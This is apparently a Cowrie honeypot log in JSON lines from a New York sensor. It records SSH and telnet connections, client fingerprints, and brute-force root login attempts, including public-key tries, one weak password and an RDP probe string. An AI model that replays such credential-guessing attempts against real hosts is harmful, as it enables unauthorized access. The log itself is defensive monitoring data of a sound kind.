{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:94:b9:5e:d4:73:50:e1:3a:1e:83:b9:a2:2a:d5:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxwqEn/kNbJCcgnDLp99Nke5x3pnhCxa4awdK+ggErJ46cOG73aijQMh+e+OyDkgx7Eyz81mMr4uIPAFGY/nmQc6NpOttA1ROhs1scHayLxn36+pAKW2XKxq7ctI3IvWHFaZLhjuDarCWo+gdWB+YCqc959xzDAR2efe8UQEyi1JIFNM8Z8xSFLRnLNSIxfkBJI7Ezs7je/vTB+NsUU+hahQKjWoDhsHHsk8OGoI8uCClciIVh4kLwJ4ivxor69s3jWMUTGpl8b+lh/VqxhAJEOB4Q8lzi7/AgKC669OgPr46OWqI/24eoq4Dwf0/Yi/JeFH2ScAAk4qiQ5qZ/LCzA6On4ARQt4NpT8cAAk6eJJ1ObUnA8EV+K/B4DGzSMZUv5k04buEE8bVNsb/ngjKBGDWxf6J1PVKdoezkhGbKYL5Uvk6SZjxAVv9RsTM9DQaDS4lbCXwQjK/V9GWXmnORTSJgOB3YRVA6y+hfAuC2Uq6ptr4tdvt6+/aUtaypJsUva3af5omdI7oQKOmWATHVwELtHe+WnZdZOlZ8bLCl7eJCNV5FziBpai/dm76eEOKVrZZhiJEymXjw0p7vv8Mfwhl0ZwoBw5Col86goXaHwbaSQRK0FubEmUj5sa5AyO8kW9lmMKl1dAw8qXqSG3cs2GVw5rpvq8554cqe3SAB/mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.584527Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:fa:21:e0:5f:08:32:ef:9e:39:50:de:5f:b0:1e:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHP4WxmK6tZWtwNdAmZ8Eezh3YDsn0kN3uXk0BSVAd20GDzCeynAtDBroSVpUj2un7BsG7DzYDmgR+RspMX89QYqr2nSM5kux30ocyGaMIyhwd2qBOEHLNA1OFbrqMmWJ8AkLtOh+cIp16NxfEwBu0YZHyxbY43kg2BxAa7BsD8NwCZtkMKlakhOD8HZ6x8lCzJhaGx+ys6WYe6hoJu6G1WXy/eYLswgovmnWFeQDPElzB0uTcUGrsb+wIS3A+9vvmVo8vl6jSVQRWrfINPKkWDrQ9mjS9K3OMCFAcNkd61xAonQ4ebcBjpZ0WtBZEN+N/c1yknDfsPwu0WsljuNXF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:fa:21:e0:5f:08:32:ef:9e:39:50:de:5f:b0:1e:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.817354Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:fa:21:e0:5f:08:32:ef:9e:39:50:de:5f:b0:1e:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHP4WxmK6tZWtwNdAmZ8Eezh3YDsn0kN3uXk0BSVAd20GDzCeynAtDBroSVpUj2un7BsG7DzYDmgR+RspMX89QYqr2nSM5kux30ocyGaMIyhwd2qBOEHLNA1OFbrqMmWJ8AkLtOh+cIp16NxfEwBu0YZHyxbY43kg2BxAa7BsD8NwCZtkMKlakhOD8HZ6x8lCzJhaGx+ys6WYe6hoJu6G1WXy/eYLswgovmnWFeQDPElzB0uTcUGrsb+wIS3A+9vvmVo8vl6jSVQRWrfINPKkWDrQ9mjS9K3OMCFAcNkd61xAonQ4ebcBjpZ0WtBZEN+N/c1yknDfsPwu0WsljuNXF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.822151Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.375993728637695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.892957Z","src_ip":"152.42.224.71","session":"87a6494fccdb","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:a9:a1:dd:d6:9e:a7:4b:55:93:2c:c3:b5:73:d9:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpIat14CjSzTQHg4w1jQJdYtVwP60+c8Pk+B89Cuzogm3PpUQlNRpHcUSRTjgBdQhtUEZhzV8TR0FfI1TtBUguzExY9E34MNV9MZ1SzbF0Y6406qIKzxOWLJ7c7lX5wAutmtbXML2elLKz/OBOEnWaLXQ4xfBYiJtW/R043ExjyLIEuFjIhQYktp/7BptgT/iRpjqUCM3gv8ZN2fGqW/1RqzyAf+BMZozJ7iU9n5EQqE+kezcFa1ydXrhjyu1CR0RXr6Tahwv8NSG46APt8YFaIKyK2eFI9YltGnycRZ5fg2xqOF25DvEqpMS8HhjePdlY0iclamF9o+eRbxHj/4/H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:a9:a1:dd:d6:9e:a7:4b:55:93:2c:c3:b5:73:d9:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:03.054505Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:a9:a1:dd:d6:9e:a7:4b:55:93:2c:c3:b5:73:d9:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpIat14CjSzTQHg4w1jQJdYtVwP60+c8Pk+B89Cuzogm3PpUQlNRpHcUSRTjgBdQhtUEZhzV8TR0FfI1TtBUguzExY9E34MNV9MZ1SzbF0Y6406qIKzxOWLJ7c7lX5wAutmtbXML2elLKz/OBOEnWaLXQ4xfBYiJtW/R043ExjyLIEuFjIhQYktp/7BptgT/iRpjqUCM3gv8ZN2fGqW/1RqzyAf+BMZozJ7iU9n5EQqE+kezcFa1ydXrhjyu1CR0RXr6Tahwv8NSG46APt8YFaIKyK2eFI9YltGnycRZ5fg2xqOF25DvEqpMS8HhjePdlY0iclamF9o+eRbxHj/4/H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:03.057750Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:03.289402Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37654,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a43bcb2edc","protocol":"ssh","message":"New connection: 103.149.28.157:37654 (159.203.135.109:22) [session: 26a43bcb2edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:03.607661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:03.612353Z","src_ip":"103.149.28.157","session":"26a43bcb2edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:03.856064Z","src_ip":"103.149.28.157","session":"26a43bcb2edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60540,"dst_ip":"10.17.0.5","dst_port":23,"session":"03ee2efb6f2b","protocol":"telnet","message":"New connection: 152.42.224.71:60540 (10.17.0.5:23) [session: 03ee2efb6f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:04.000257Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789o","message":"login attempt [root/123456789o] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:04.610249Z","src_ip":"103.149.28.157","session":"26a43bcb2edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:05.856400Z","src_ip":"103.149.28.157","session":"26a43bcb2edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.0152862071991,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:06.757826Z","src_ip":"152.42.224.71","session":"24712fb3de60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97540616989136,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:06.957001Z","src_ip":"152.42.224.71","session":"c327608651e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58428,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bde9377b454","protocol":"telnet","message":"New connection: 152.42.224.71:58428 (10.17.0.5:23) [session: 9bde9377b454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:08.552409Z"}
{"eventid":"cowrie.session.closed","duration":34.062190771102905,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:08.709650Z","src_ip":"152.42.224.71","session":"1f6e7209b30b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":36994,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a20578c48a4","protocol":"telnet","message":"New connection: 146.19.210.8:36994 (10.17.0.5:23) [session: 4a20578c48a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:10.376593Z"}
{"eventid":"cowrie.session.closed","duration":58.287856340408325,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:11.878302Z","src_ip":"152.42.224.71","session":"d374cee8b338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58444,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18335c00849","protocol":"telnet","message":"New connection: 152.42.224.71:58444 (10.17.0.5:23) [session: e18335c00849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:13.597273Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58430,"dst_ip":"10.17.0.5","dst_port":23,"session":"24d1f73b8725","protocol":"telnet","message":"New connection: 152.42.224.71:58430 (10.17.0.5:23) [session: 24d1f73b8725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:14.170527Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62075,"dst_ip":"10.17.0.5","dst_port":22,"session":"3950942fac78","protocol":"ssh","message":"New connection: 167.172.81.52:62075 (10.17.0.5:22) [session: 3950942fac78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:19.692879Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:19.697563Z","src_ip":"167.172.81.52","session":"3950942fac78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:19.701285Z","src_ip":"167.172.81.52","session":"3950942fac78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.35588598251343,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:20.650860Z","src_ip":"152.42.224.71","session":"02ee28da5087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.333783864974976,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:26.834991Z","src_ip":"152.42.224.71","session":"e2478cd3928d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60628,"dst_ip":"10.17.0.5","dst_port":23,"session":"f226bcd68b1c","protocol":"telnet","message":"New connection: 152.42.224.71:60628 (10.17.0.5:23) [session: f226bcd68b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:27.703652Z"}
{"eventid":"cowrie.session.closed","duration":37.06390023231506,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:31.436691Z","src_ip":"152.42.224.71","session":"af87a185ad51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60640,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aea5847ebae","protocol":"telnet","message":"New connection: 152.42.224.71:60640 (10.17.0.5:23) [session: 9aea5847ebae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:33.088248Z"}
{"eventid":"cowrie.session.closed","duration":108.83778762817383,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:35.147401Z","src_ip":"152.42.224.71","session":"345bf53ec099","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60652,"dst_ip":"10.17.0.5","dst_port":23,"session":"01fa9c8d8caa","protocol":"telnet","message":"New connection: 152.42.224.71:60652 (10.17.0.5:23) [session: 01fa9c8d8caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:36.146281Z"}
{"eventid":"cowrie.session.closed","duration":29.8960702419281,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:38.448322Z","src_ip":"152.42.224.71","session":"9bde9377b454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34186,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5fff70da47","protocol":"telnet","message":"New connection: 152.42.224.71:34186 (10.17.0.5:23) [session: 8e5fff70da47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:40.209989Z"}
{"eventid":"cowrie.session.closed","duration":30.788761138916016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:41.165283Z","src_ip":"146.19.210.8","session":"4a20578c48a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:41.249216Z","src_ip":"176.32.39.21","session":"89ffc0d88d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.37994384765625,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:44.549349Z","src_ip":"152.42.224.71","session":"0bc08dd15bb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49234,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fba4b878865","protocol":"telnet","message":"New connection: 152.42.224.71:49234 (10.17.0.5:23) [session: 1fba4b878865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:46.246689Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49246,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7068534e59e","protocol":"telnet","message":"New connection: 152.42.224.71:49246 (10.17.0.5:23) [session: e7068534e59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:46.776336Z"}
{"eventid":"cowrie.session.closed","duration":35.10203456878662,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:49.272425Z","src_ip":"152.42.224.71","session":"24d1f73b8725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49256,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7bbbe6be2db","protocol":"telnet","message":"New connection: 152.42.224.71:49256 (10.17.0.5:23) [session: f7bbbe6be2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.163772Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.227.40","src_port":57686,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad28ba6cd5b7","protocol":"ssh","message":"New connection: 158.69.227.40:57686 (10.17.0.5:22) [session: ad28ba6cd5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.816049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.821742Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.844849Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:72:21:f7:28:f1:d6:29:ce:a3:50:a2:c5:5d:63:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDArLvZezn/gORpH98tj8BmpvtHpV3+qRFJIYy9edZ2YIFs+L6xXRRESndJOeAc5J4II67g4+bImWJW8HRKNg7rY/JtXvP4EmHmOl5IgichepuXbOYv9WirCwvtifbjl6pGr+zgW/Euq+Zg2AtjG7xjIspJBzXM0vms2ZVj8vCjtHqx60pSbhsDU7wyPS813iU00xBA5Fs2EmLok1bQWfpHPoLJJdrlSd760CwiDCyzo/0sKjq3FagknBFtzmM06+i3TbhrzNfWRb62YEyDw2fm5sosViKYTcr3YILZLDvI8PWUCqeJ3JfpTStKnQKfVQW0Ca20gBQN3/xD1SBNo1r5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:72:21:f7:28:f1:d6:29:ce:a3:50:a2:c5:5d:63:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.927127Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:72:21:f7:28:f1:d6:29:ce:a3:50:a2:c5:5d:63:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDArLvZezn/gORpH98tj8BmpvtHpV3+qRFJIYy9edZ2YIFs+L6xXRRESndJOeAc5J4II67g4+bImWJW8HRKNg7rY/JtXvP4EmHmOl5IgichepuXbOYv9WirCwvtifbjl6pGr+zgW/Euq+Zg2AtjG7xjIspJBzXM0vms2ZVj8vCjtHqx60pSbhsDU7wyPS813iU00xBA5Fs2EmLok1bQWfpHPoLJJdrlSd760CwiDCyzo/0sKjq3FagknBFtzmM06+i3TbhrzNfWRb62YEyDw2fm5sosViKYTcr3YILZLDvI8PWUCqeJ3JfpTStKnQKfVQW0Ca20gBQN3/xD1SBNo1r5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.931238Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:05:a6:69:95:04:e5:55:c3:71:f1:c6:db:57:25:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZK/x0PBa3MVu2FTaEGCxEGWklyGxar+kyM+hDdGJ+iH7v2rmodQZ2Oh2hsHLKSm7jTSFz4SvQZmKzSx+rvKURmYfkipZ4dECBjvMg1wZQVGAdsyYdqGI0JvixHuwTgRrg2uNQJzBd9ZE6WUpOdEvQvhCXQlI1+m+2l0JgXwvUIjfLInchUqfXQkaVTeFhTYoECRd0eF8/DW1gMCqIOeLsbYJcPBpW6h4hbqEjLVTuPnot2EmRGqABRxJPJ4lmkBlkzw2BfsA1Ml0UwoxQDFLJNJgVywBdZERQ1kdpbTrcilGuBqupAc4LEQusbCXro3yeHFSoCrP9k3MKtPVpdBs3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:05:a6:69:95:04:e5:55:c3:71:f1:c6:db:57:25:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.953971Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:05:a6:69:95:04:e5:55:c3:71:f1:c6:db:57:25:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZK/x0PBa3MVu2FTaEGCxEGWklyGxar+kyM+hDdGJ+iH7v2rmodQZ2Oh2hsHLKSm7jTSFz4SvQZmKzSx+rvKURmYfkipZ4dECBjvMg1wZQVGAdsyYdqGI0JvixHuwTgRrg2uNQJzBd9ZE6WUpOdEvQvhCXQlI1+m+2l0JgXwvUIjfLInchUqfXQkaVTeFhTYoECRd0eF8/DW1gMCqIOeLsbYJcPBpW6h4hbqEjLVTuPnot2EmRGqABRxJPJ4lmkBlkzw2BfsA1Ml0UwoxQDFLJNJgVywBdZERQ1kdpbTrcilGuBqupAc4LEQusbCXro3yeHFSoCrP9k3MKtPVpdBs3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.959174Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
